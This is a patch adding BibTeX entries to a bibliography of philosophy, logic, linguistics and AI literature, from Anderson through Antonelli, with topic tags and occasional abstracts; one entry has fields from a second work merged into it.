+ editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {9--16}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;multimodal-communication;collaboration;} + } + +@incollection{ anderson_ah-howarth:2002a, + author = {Anne H. Anderson and Barbara Howarth}, + title = {Referential Form and Word Duration in Video-Mediated and + Face-to-Face Dialogues}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {13--28}, + address = {Edinburgh}, + topic = {psychology-of-discourse;} + } + +@article{ anderson_ar:1958a, + author = {Alan R. Anderson}, + title = {A Reduction of Deontic Logic to Alethic Modal + Logic}, + journal = {Mind}, + year = {1958}, + volume = {67}, + pages = {100--103}, + missinginfo = {number}, + topic = {deontic-logic;} + } + +@article{ anderson_ar:1958b, + author = {Alan R. Anderson}, + title = {The Logic of Norms}, + journal = {Logique et Analyse}, + year = {1958}, + volume = {1}, + pages = {84--91}, + topic = {deontic-logic;} + } + +@article{ anderson_ar:1959a, + author = {Alan R. Anderson}, + title = {Church on Ontological Commitment}, + journal = {The Journal of Philosophy}, + year = {1959}, + volume = {56}, + number = {10}, + pages = {448--452}, + topic = {ontological-commitment;} + } + +@article{ anderson_ar:1962a, + author = {Alan R. Anderson}, + title = {Logic, Norms, and Roles}, + journal = {Ratio}, + volume = {4}, + year = {1962}, + pages = {32--49}, + topic = {deontic-logic;} + } + +@article{ anderson_ar-belnap:1962b, + author = {Alan R. Anderson and Nuel D. {Belnap, Jr.}}, + title = {Tautological Entailments}, + journal = {Philosophical Studies}, + volume = {1--2}, + year = {1962}, + pages = {9--49}, + topic = {relevance-logic;} + } + +@article{ anderson_ar:1967a, + author = {Alan Ross Anderson}, + title = {Some Nasty Problems in the Formal Logic of Ethics}, + journal = {No\^us}, + year = {1967}, + volume = {33}, + number = {1}, + pages = {345--360}, + topic = {deontic-logic;relevance-logic;} + } + +@article{ anderson_ar:1970a, + author = {Alan Ross Anderson}, + title = {The Logic of {H}ofeldian Propositions}, + journal = {Logique et Analyse}, + year = {1970}, + volume = {12}, + missinginfo = {pages, number}, + topic = {logic-and-law;deontic-logic;} + } + +@book{ anderson_ar-belnap:1975a, + author = {Alan R. Anderson and Nuel D. {Belnap, Jr.}}, + title = {Entailment: The Logic of Relevance and Necessity}, + publisher = {Princeton University Press}, + year = {1975}, + volume = {1}, + address = {Princeton, New Jersey}, + topic = {relevance-logic;} + } + +@article{ anderson_ar:1977a, + author = {Alan R. Anderson}, + title = {Ought, Time, and Deontic Paradoxes}, + journal = {The Journal of Philosophy}, + year = {1977}, + volume = {74}, + number = {12}, + pages = {775--791}, + topic = {deontic-logic;} + } + +@book{ anderson_ar-etal:1992a, + author = {Alan R. Anderson and Nuel Belnap and J. Michael Dunn}, + title = {Entailment: The Logic of Relevance and Necessity}, + publisher = {Princeton University Press}, + address = {Princeton, New Jersey}, + volume = {2}, + year = {1992}, + topic = {relevance-logic;} + } + +@article{ anderson_ca:1980a, + author = {C. Anthony Anderson}, + title = {Some New Axioms for the Logic of Sense and Denotation: + Alternative (0)}, + journal = {No\^us}, + year = {1980}, + volume = {14}, + number = {2}, + pages = {217--234}, + topic = {Frege;intensional-logic;} + } + +@article{ anderson_ca:1980b, + author = {C. Anthony Anderson}, + title = {Some Difficulties Concerning {R}ussellian Intensional Logic}, + journal = {No\^us}, + year = {1980}, + volume = {14}, + number = {1}, + pages = {35--43}, + topic = {Russell;intensionality;} + } + +@article{ anderson_ca:1984a, + author = {C. Anthony Anderson}, + title = {The Paradox of the Knower}, + journal = {The Journal of Philosophy}, + year = {1984}, + volume = {80}, + pages = {338--355}, + number = {6}, + topic = {syntactic-attitudes;} + } + +@incollection{ anderson_ca:1984b, + author = {C. Anthony Anderson}, + title = {General Intensional Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {355--385}, + address = {Dordrecht}, + topic = {modal-logic;higher-order-logic;intensional-logic;} + } + +@article{ anderson_ca:1984c, + author = {C. Anthony Anderson}, + title = {Divine Omnipotence and Impossible Tasks: An Intensional + Analysis}, + journal = {International Journal of Philosophy and Religion}, + year = {1984}, + volume = {15}, + pages = {109--124}, + missinginfo = {number}, + topic = {omnipotence;paradoxes;} + } + +@article{ anderson_ca:1987a, + author = {C. Anthony Anderson}, + title = {Bealer's {\it Quality and Concept}}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {2}, + pages = {115--164}, + topic = {intensionality;hyperintensionality;epistemic-logic; + property-theory;propositional-attitudes;} + } + +@article{ anderson_ca:1987b, + author = {C. Anthony Anderson}, + title = {Semantical Antinomies in the Logic of Sense and Denotation}, + journal = {Notre Dame Journal of Formal Logic}, + year = {1987}, + volume = {28}, + number = {1}, + pages = {99--114}, + topic = {logic-of-sense-and-denotation;semantic-paradoxes;} + } + +@incollection{ anderson_ca:1989a, + author = {C. Anthony Anderson}, + title = {Russell on Order in Time}, + booktitle = {Reading {R}ussell: Essays on {B}ertrand {R}ussell's + Metaphysics and Epistemology}, + publisher = {University of Minnesota Press}, + year = {1989}, + editor = {C. Wade Savage and C. Anthony Anderson}, + pages = {249--263}, + address = {Minneapolis}, + topic = {events;philosophy-of-time;temporal-ontology;} + } + +@book{ anderson_ca-owens_j2:1990a, + editor = {C. Anthony Anderson and Joseph Owens}, + title = {Propositional Attitudes: The Role of Content in Logic, + Language, and Mind}, + publisher = {Center for the Study of Language and Information}, + year = {1990}, + address = {Stanford, California}, + contentnote = {TC: + 1. Kit Fine, "Quine on Quantifying In" + 2. Hans Kamp, "Prolegomena to a Structural Theory of Belief + and other Attitudes" + 3. Ernest LePore and Barry Loewer, "A Study in Comparative Semantics" + 4. Tyler Burge, "Wherein is Language Social?" + 5. Robert Stalnaker, "Narrow Content" + 6. Joseph Owens, "Cognitive Access and Semantic Puzzle" + 7. John Wallace and H.E. Mason, "On some Thought Experiments + about Mind and Meaning" + 10. Keith S. Donnellan, "Belief and the Identity of Reference" + 11. Nathan Salmon, "A {M}illian Heir Rejects the Wages of {S}inn" + 12. Stephen Schiffer, "The Mode-of-Presentation Problem" + 13. John R. Searle, "Consciousness, Unconsciousness and + Intentionality" + 14. Keith Gunderson, "Consciousness and Intentionality: + Robots with and without the Right Stuff" + } , + ISBN = {0937073512}, + topic = {propositional-attitudes;} + } + +@article{ anderson_ca:1993a, + author = {C. Anthony Anderson}, + title = {Toward a Logic of A Priori Knowledge}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {2}, + pages = {1--20}, + topic = {a-priori;epistemic-logic;} + } + +@article{ anderson_ca:1998a, + author = {C. Anthony Anderson}, + title = {Alonzo {C}hurch's Contributions to Philosophy and + Intensional Logic}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {2}, + pages = {129--171}, + topic = {intensionality;Church;history-of-logic;} + } + +@book{ anderson_dr:1987a, + author = {Douglas R. Anderson}, + title = {Creativity and the Philosophy of {C}.{S}. {P}eirce}, + publisher = {Reidel}, + year = {1987}, + address = {Dordrecht}, + topic = {Peirce;creativity;} + } + +@book{ anderson_e:1993a, + author = {Elizabeth Anderson}, + title = {Value in Ethics and Economics}, + publisher = {Harvard University Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-utility;rationality;} + } + +@book{ anderson_j:1971a, + author = {John Anderson}, + title = {The Grammar of Case: Towards a Localistic Theory}, + publisher = {Cambridge University Press}, + year = {1971}, + address = {Cambridge, England}, + topic = {case-grammar;thematic-roles;} + } + +@book{ anderson_j:1979a, + author = {John Anderson}, + title = {On Being without a Subject}, + publisher = {Indiana University Linguistics Club}, + year = {1979}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {case-grammar;grammatical-relations;} + } + +@book{ anderson_ja-rosenfeld:1998a, + editor = {James A. Anderson and Edward Rosenfeld}, + title = {Talking Nets: An Oral History of Neural Networks}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0262011670}, + xref = {Reviews: sharkey:2000a, wurtz:2000a.}, + topic = {history-of-AI;connectionism;} + } + +@book{ anderson_jr-bower:1973a, + author = {John R. Anderson and Gordon H. Bower}, + title = {Human Associative Memory}, + publisher = {V.H. Winston}, + year = {1973}, + address = {Washington, DC}, + topic = {memory;memory-models;cognitive-psychology;} + } + +@book{ anderson_jr:1983a, + author = {John R. Anderson}, + title = {The Architecture of Cognition}, + publisher = {Harvard University Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + ISBN = {0674044258}, + xref = {Review: vanlehn:1986a.}, + topic = {cognitive-architectures;foundations-of-cognitive-science; + cognitive-psychology;} + } + +@article{ anderson_jr:1989a, + author = {John R. Anderson}, + title = {A Theory of the Origins of Human Knowledge}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {313--351}, + acontentnote = {Abstract: + The PUPS theory and its ACT* predecessor are computational + embodiments of psychology's effort to develop a theory of the + origins of knowledge. The theories contain proposals for + extraction of knowledge from the environment, a strength-based + prioritization of knowledge, knowledge compilation mechanisms + for forming use-specific versions of knowledge, and induction + mechanisms for extending knowledge. PUPS differs from ACT* + basically in its principles of induction which include + analogy-based generalization, a discrimination mechanism, and + principles of making causal inferences. The knowledge in these + theories can be classified into the knowledge level, algorithm + level, and implementation level. Knowledge at the knowledge + level consists of information acquired from the environment and + innate principles of induction and problem solving. Knowledge at + the algorithm level consists of internal deductions, inductions, + and compilation. Knowledge at the implementation level takes + the form of setting strengths for the encoding of specific + pieces of information. + } , + topic = {cognitive-architecture;machine-learning;induction;} + } + +@book{ anderson_jr:1990a, + author = {John R. Anderson}, + title = {Cognitive Psychology and Its Implications}, + edition = {3}, + publisher = {W.H. Freeman}, + year = {1990}, + address = {New York}, + ISBN = {071672085X}, + topic = {cognitive-psychology;} + } + +@article{ anderson_jr-etal:1990a, + author = {John R. Anderson and C. Franklin Boyle and Albert T. Corbett + and Matthew W. Lewis}, + title = {Cognitive Modeling and Intelligent Tutoring}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {1}, + pages = {7--49}, + topic = {cognitive-modelling;intelligent-tutoring;} + } + +@book{ anderson_jr:1995a, + author = {John R. Anderson}, + title = {Cognitive Psychology and Its Implications}, + edition = {4}, + publisher = {W.H. Freeman}, + year = {1995}, + address = {New York}, + ISBN = {0716723859}, + topic = {cognitive-psychology;} + } + +@book{ anderson_jr-lebiere:1998a, + author = {John R. Anderson and Christian J. Lebiere}, + title = {The Atomic Components of Thought}, + publisher = {Lawrence Earlbaum}, + year = {1998}, + address = {Mahwah, New Jersey}, + topic = {cognitive-architectures;cognitive-psychology;} + } + +@article{ anderson_lv:1985a, + author = {Lyle V. Anderson}, + title = {Moral Dilemmas, Deliberation, and Choice}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {3}, + pages = {139--162}, + topic = {practical-reason;} + } + +@incollection{ anderson_ml-etal:2002a, + author = {Michael L. Anderson and Yoshi A. Okamoto and Darsana Josyula + and Don Perlis}, + title = {The Use-Mention Distinction and its Importance to {HCI}}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {21--28}, + address = {Edinburgh}, + title = {On Putting Apples into Bottles: A Problem of Polysemy}, + journal = {Cognitive Psychology}, + year = {1975}, + volume = {7}, + pages = {167--180}, + missinginfo = {A's 1st name, number}, + topic = {polysemy;} + } + +@article{ anderson_rc-etal:1977a, + author = {R.C. Anderson and R.E. Reynolds and D.L. Schallert and + E.T. Goetz}, + title = {Frameworks for Comprehending Discourse}, + journal = {American Educational Research Journal}, + year = {1977}, + volume = {14}, + pages = {367--381}, + missinginfo = {A's 1st name, number}, + topic = {discourse-analysis;pragmatics;} + } + +@book{ anderson_sr:1971a, + author = {Steven R. Anderson}, + title = {On the Linguistic Status of the Performative/Constative + Distinction}, + publisher = {Indiana University Linguistics Club}, + year = {1971}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {speech-acts;} + } + +@article{ anderson_sr:1972a, + author = {Steven R. Anderson}, + title = {How to Get `Even'}, + journal = {Language}, + year = {1972}, + volume = {48}, + pages = {893--906}, + missinginfo = {A's 1st name, number}, + topic = {sentence-focus;`even';pragmatics;} + } + +@book{ anderson_sr:1972b, + author = {Steven R. Anderson}, + title = {Pro-Sentential Forms and Their Implications for {E}nglish + Sentence Structure}, + publisher = {Indiana University Linguistics Club}, + year = {1972}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {pro-forms;} + } + +@book{ anderson_sr-kiparsky_p:1973a, + editor = {Stephen R. Anderson and Paul Kiparsky}, + title = {A {F}estschrift for {M}orris {H}alle}, + publisher = {Holt, Rinehart and Winston, Inc.}, + year = {1973}, + address = {New York}, + topic = {linguistics-general;} + } + +@incollection{ anderson_sr:1981a, + author = {Stephen R. Anderson}, + title = {Topicalization in Breton}, + booktitle = {Proceedings of the Seventh Annual Meeting of the + Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + year = {1981}, + address = {University of California at Berkeley, Berkeley, + California}, + missinginfo = {pages}, + topic = {s-topic;Breton-language;} + } + +@book{ anderson_sr:1985a, + author = {Stephen R. Anderson}, + title = {Phonology in the Twentieth Century}, + publisher = {University of Chicago Press}, + year = {1985}, + address = {Chicago}, + topic = {phonology;history-of-phonology;} + } + +@book{ anderson_wt:1990a, + author = {Walter Truett Anderson}, + title = {Reality Isn't What it Used to Be}, + publisher = {Harper San Francisco}, + year = {1990}, + address = {San Francisco}, + topic = {popular-culture;postmodernism;philosophical-realism;} + } + +@techreport{ andersson_lg:1973a, + author = {Lars-Gunnar Andersson}, + title = {{\"an vad som}---A Note on Comparative Clauses in {S}wedish}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {22}, + year = {1973}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + topic = {comparative-constructions;Swedish-language;} + } + +@techreport{ andersson_lg:1973b, + author = {Lars-Gunnar Andersson}, + title = {A Note on Comparative Clauses in {S}wedish}, + institution = {Gothenburg Papers in Theoretical Linguistics, Dept. + of Linguistics, Univ. of G\"oteborg}, + year = {1973}, + address = {G\"oteborg}, + missinginfo = {A's 1st name}, + topic = {comparative-constructions;Swedish-language;} + } + +@techreport{ andersson_lg:1973c, + author = {Lars-Gunnar Andersson}, + title = {On the Comp-{S} Analysis}, + institution = {Gothenburg Papers in Theoretical Linguistics, Dept. + of Linguistics, Univ. of G\"oteborg}, + year = {1973}, + address = {G\"oteborg}, + missinginfo = {A's 1st name}, + topic = {nl-syntax;complementation;} + } + +@techreport{ andersson_lg:1974a, + author = {Lars-Gunnar Andersson}, + title = {Questions and Other Open Structures}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {9}, + year = {1974}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + topic = {interrogatives;} + } + +@techreport{ andersson_lg:1974b, + author = {Lars-Gunnar Andersson}, + title = {The {NP} Status of {\em that\/}-Clauses and Infinitives}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {1}, + year = {1974}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + topic = {complementation;} + } + +@article{ andler:1993a, + author = {Daniel Andler}, + title = {Is Context a Problem?}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + missinginfo = {pages}, + topic = {context;} + } + +@techreport{ andre-rist:1991a, + author = {Elisabeth Andr\'e and Thomas Rist}, + title = {Synthesizing Illustrated Documents: a Plan-Based + Approach}, + institution = {DFKI --- German Research Center for Artificial + Intelligence, Saarbruecken, Germany}, + year = {1991}, + number = {DFKI-RR-91-06}, + topic = {nl-generation;multimedia-generation;} +} + +@article{ andre-etal:2000a, + author = {Elizabeth Andr\'e and Kim Binsted and Kumito Tanaka-Ishii + and Sean Luke and Gerd Herzog and Thomas Rist}, + title = {Three {R}obo{C}up Simulation League Commentator Systems}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {57--65}, + topic = {nl-generation;animation;embodied-nlp;} + } + +@incollection{ andreasen:2000a, + author = {Robin O. Andreasen}, + title = {Race: Biological Reality or Social Construct?}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S653--S666}, + address = {Newark, Delaware}, + topic = {natural-kinds;philosophy-of-social-science;racial-stereotypes;} + } + +@article{ andreka-etal:1982a, + author = {Hajnal Andr\'eka and I. N\'emeti and L. Sain}, + title = {A Complete Logic for Reasoning about Programs Via + Nonstandard Model Theory {I}}, + journal = {Theoretical Computer Science}, + year = {1982}, + volume = {17}, + pages = {192--212}, + missinginfo = {A's 1st name, number}, + topic = {dynamic-logic;nonstandard-models;} + } + +@article{ andreka-mikulas:1994a, + author = {Hajnal Andr\'eka and Szabolcs Mikul\'as}, + title = {Lambek calculus and its Relational Semantics: Completeness + and Incompleteness}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {1}, + pages = {1--37}, + topic = {Lambek-calculus;} + } + +@incollection{ andreka-etal:1996a, + author = {Hajnal Andr\'eka and \'Agnes Kurucz and Istv\'an N\'emeti + Ildik\'o Sain and Andr\'as Simon}, + title = {Investigations in Arrow Logic}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {63--99}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@article{ andreka-etal:1998a, + author = {Hajnal Andr\'eka and Istv\'an N\'emeti and + Johan {van Benthem}}, + title = {Modal Logic and Bounded Fragments of Predicate Logic}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {3}, + pages = {217--274}, + topic = {modal-logic;model-theory;} + } + +@incollection{ angelini:1998a, + author = {Bianca Angelini and Daliele Falavigna and Maurizio Onologi + and Renato de Mori}, + title = {Basic Speech Sounds, their Analysis and Features}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {69--121}, + address = {New York}, + topic = {phonetics;speech-recognition;} + } + +@book{ ankersmit-mooij:1993a, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + title = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;} + } + +@incollection{ ankersmit-mooij:1993b, + author = {F.R. Ankersmit and J.J.A. Mooij}, + title = {Introduction}, + booktitle = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + pages = {1--17}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;} + } + +@book{ annas-barnes:2000a, + editor = {Julia Annas and Jonathan Barnes}, + title = {Sextus {E}mpiricus: Outlines of Scepticism}, + edition = {2}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {052177139-0}, + topic = {ancient-philosophy;skepticism;} + } + +@book{ anonymous:1978a, + title = {{NELS 8}: Proceedings of the Eighth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1978}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ anonymous:1981a, + title = {{NELS 11}: Proceedings of the Eleventh Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1981}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ anonymous:1984a, + author = {Anonymous}, + title = {Non-Monotonic Reasoning Workshop: October 17--19, 1984, Mohonk + Mountain House, New Paltz, New York}, + publisher = {American Association for Artificial Intelligence}, + year = {1984}, + address = {Menlo Park, California}, + missinginfo = {editor}, + topic = {nonmonotonic-logic;} + } + +@book{ anonymous:1991a, + title = {Logic Programming and Non-Monotonic Reasoning: + Proceedings of the International Workshop}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + missinginfo = {editor}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic;} + } + +@book{ anonymous:1994a, + author = {Twelfth International Conference on Automated Deduction + {CADE}94}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@corpus{ anonymous:1995a, + author = {Anonymous}, + title = {The Penn Treebank Project, Release 2}, + publisher = {Linguistic Data Consortium}, + year = {1995}, + address = {Philadelphia}, + media = {1 computer laser optical disc, 4 3/4 in.}, + contentnote = {Description: Contains 1 million words of 1989 Wall + Street Journal material annotated in Treebank II style, which + is designed to allow the extraction of simple + predicate/argument structure, plus more.}, + topic = {corpus;} + } + +@book{ anonymous:1996a, + author = {Thirteenth International Conference on Automated Deduction + {CADE}92}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@book{ anonymous:1996b, + editor = {Anonymous}, + title = {Frontiers of Combining Systems 1}, + publisher = {Research Studies Press}, + year = {1996}, + address = {Berlin}, + topic = {combining-logics;combining-systems;} + } + +@book{ anonymous:1997a, + author = {Fourteenth International Conference on Automated Deduction + {CADE}92}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@book{ anonymous:1997b, + editor = {Anonymous}, + title = {Dialogue Processing in Spoken Language Systems: {ECAI'96} + Workshop, {B}udapest, {H}ungary, {A}ugust 13, 1996}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540631755}, + topic = {AI-general;} + } + +@book{ anonymous:1998a, + author = {Fifteenth International Conference on Automated Deduction + {CADE}92}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@book{ anonymous:1998b, + title = {International Workshop on Automated Deduction in Geometry}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + topic = {theorem-proving;geometrical-reasoning;} + } + +@book{ anonymous:1999a, + author = {Sixteenth International Conference on Automated Deduction + {CADE}92}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@corpus{ anonymous:1999b, + author = {Anonymous}, + title = {The Penn Treebank Project, Release 3}, + publisher = {Linguistic Data Consortium}, + year = {1999}, + address = {Philadelphia}, + media = {1 computer laser optical disc, 4 3/4 in.}, + ISBN = {1585631639}, + contentnote = {Description: The corpus consists of 1 million + words of 1989 Wall Street Journal material annotated in + Treebank II style, a small sample of ATIS-3 material + annotated in Treebank II style, a fully tagged version of the + Brown corpus.}, + topic = {corpus;} + } + +@book{ anonymous:2000a, + author = {Seventeenth International Conference on Automated Deduction + {CADE}92}, + publisher = {Springer-Verlag}, + year = {2000}, + address = {Berlin}, + series = {Lecture Notes in Computer Science}, + topic = {theorem-proving;} + } + +@incollection{ ansari-hirst:1998a, + author = {Daniel Ansari and Graeme Hirst}, + title = {Generating Warning Instructions by Planning Accidents and + Injuries}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {118--127}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;nl-instructions;} + } + +@article{ anscombe:1953a, + author = {G.E.M. Anscombe}, + title = {The Principle of Individuation}, + journal = {Proceedings of the {A}ristotelian Society, Supplementary + Volume}, + year = {1953}, + volume = {27}, + pages = {83--96}, + topic = {Aristotle;individuation;} + } + +@book{ anscombe:1958a, + author = {G.E.M. Anscombe}, + title = {Intention}, + publisher = {Blackwell Publishers}, + year = {1958}, + address = {Oxford}, + topic = {intention;action;} + } + +@incollection{ anscombe:1965a, + author = {G.E.M. Anscombe}, + title = {The Intentionality of Sensation: A Grammatical Feature}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {158--180}, + address = {Oxford}, + topic = {intensionality;logic-of-perception;} + } + +@incollection{ anscombe:1978a, + author = {G.E.M. Anscombe}, + title = {On Practical Reasoning}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {46--62}, + address = {Oxford}, + topic = {practical-reasoning;} + } + +@article{ anshelevich:2002a, + author = {Vadim V. Anshelevich}, + title = {A Hierarchical Approach to Computer Hex}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {101--120}, + topic = {theorem-proving;game-playing;} + } + +@book{ antaki:1994a, + author = {Charles Antaki}, + title = {Explaining and Arguing: The Social Organization of Accounts}, + publisher = {Sage Publications}, + year = {1994}, + address = {Thousand Oaks, California}, + topic = {argumentation;explanation;} + } + +@book{ anthony-briggs:1992a, + author = {Martin Anthony and Norman Biggs}, + title = {Computational Learning Theory: An Introduction}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + topic = {learning-theory;} + } + +@book{ anthony-bartlett:1999a, + author = {Martin Anthony and Peter L. Bartlett}, + title = {Neural Network Learning: Theoretical Foundations}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0-521-57353-X}, + topic = {connectionist-models;} + } + +@unpublished{ antonelli:1991a, + author = {Gian Aldo Antonelli}, + title = {Pure Well-Founded Symmetric Models of Set Theory: The + Independence of the Axiom of Choice Without Forcing}, + year = {1991}, + note = {Unpublished manuscript, Department of Philosophy, + University of Pittsburgh.}, + topic = {axiom-of-choice;independence-proofs;} + } + +@phdthesis{ antonelli:1992a, + author = {Gian Aldo Antonelli}, + title = {Revision Rules: An Investigation into Non-Monotonic + Inductive Definitions}, + school = {Philosophy Department, University of Pittsburgh}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh}, + topic = {nonmonotonic-logic;fixpoints;} + } + +@article{ antonelli:1994a, + author = {Gian Aldo Antonelli}, + title = {Non-Well-Founded Sets Via Revision Rules}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {6}, + pages = {633--679}, + topic = {nonwellfounded-sets;} + } + +@incollection{ antonelli-bicchieri:1994a, + author = {Gian Aldo Antonelli and Cristina Bicchieri}, + title = {Backwards-Forward Induction}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {24--43}, + address = {San Francisco}, + topic = {game-theory;backward-induction;} + } + +@unpublished{ antonelli:1996a, + author = {Gian Aldo Antonelli}, + title = {General Extensions for Default Logic}, + year = {1996}, + note = {Unpublished manuscript, Yale University, 1996.}, + topic = {default-logic;} + } + +@unpublished{ antonelli:1996b, + author = {Gian Aldo Antonelli}, + title = {Defeasible Reasoning as a Cognitive Model}, + year = {1996}, + note = {Unpublished manuscript, Stanford University, 1996.}, + topic = {common-sense-reasoning;nonmonotonic-reasoning;} + } + +@unpublished{ antonelli:1996c, + author = {Gian Aldo Antonelli}, + title = {Existensional Quotients for Type Theory and the Consistency + Problem for {NF}}, + year = {1996}, + note = {Unpublished manuscript, 1996.}, + missinginfo = {Date is a guess.}, + topic = {set-theory;higher-order-logic;} + } + +@unpublished{ antonelli:1996d, + author = {Gian Aldo Antonelli}, + title = {On Extensions for Default Logic}, + year = {1996}, + note = {Unpublished manuscript, 1996.}, + topic = {default-logic;} + } + +@unpublished{ antonelli:1997a, + author = {Gian Aldo Antonelli}, + title = {A Theory of Cautious Consequence for Default Logic: Via + the Notion of General Extension}, + year = {1997}, + note = {Unpublished manuscript, 1997.}, + topic = {default-logic;} + } + +@unpublished{ antonelli:1997b, + author = {Gian Aldo Antonelli}, + title = {Free Set Algebras Satisfying Systems of Equations}, + year = {1997}, + note = {Unpublished manuscript, Department of Philosophy, + Stanford University.}, + topic = {nonwellfounded-sets;} + } + +@article{ antonelli:1997c, + author = {Gian Aldo Antonelli}, + title = {Defeasible Inheritance on Cyclic Networks}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {1--23}, + topic = {inheritance-theory;} + } + +@article{ antonelli:1998a, + author = {Gian Aldo Antonelli}, + title = {Existential Quotients for Type Theoey and The + Consistency Problem for {NF}}, + journal = {Journal of Symbolic Logic}, + year = {1998}, + volume = {63}, + number = {1}, + pages = {247--261}, + contentnote = {Proves the consistency of Quine's NF set theory.}, + topic = {set-theory;consistency-proofs;} + } + +@article{ antonelli:1999a, + author = {Gian Aldo Antonelli}, + title = {A Directly Cautious Theory of Defeasible + Consequence 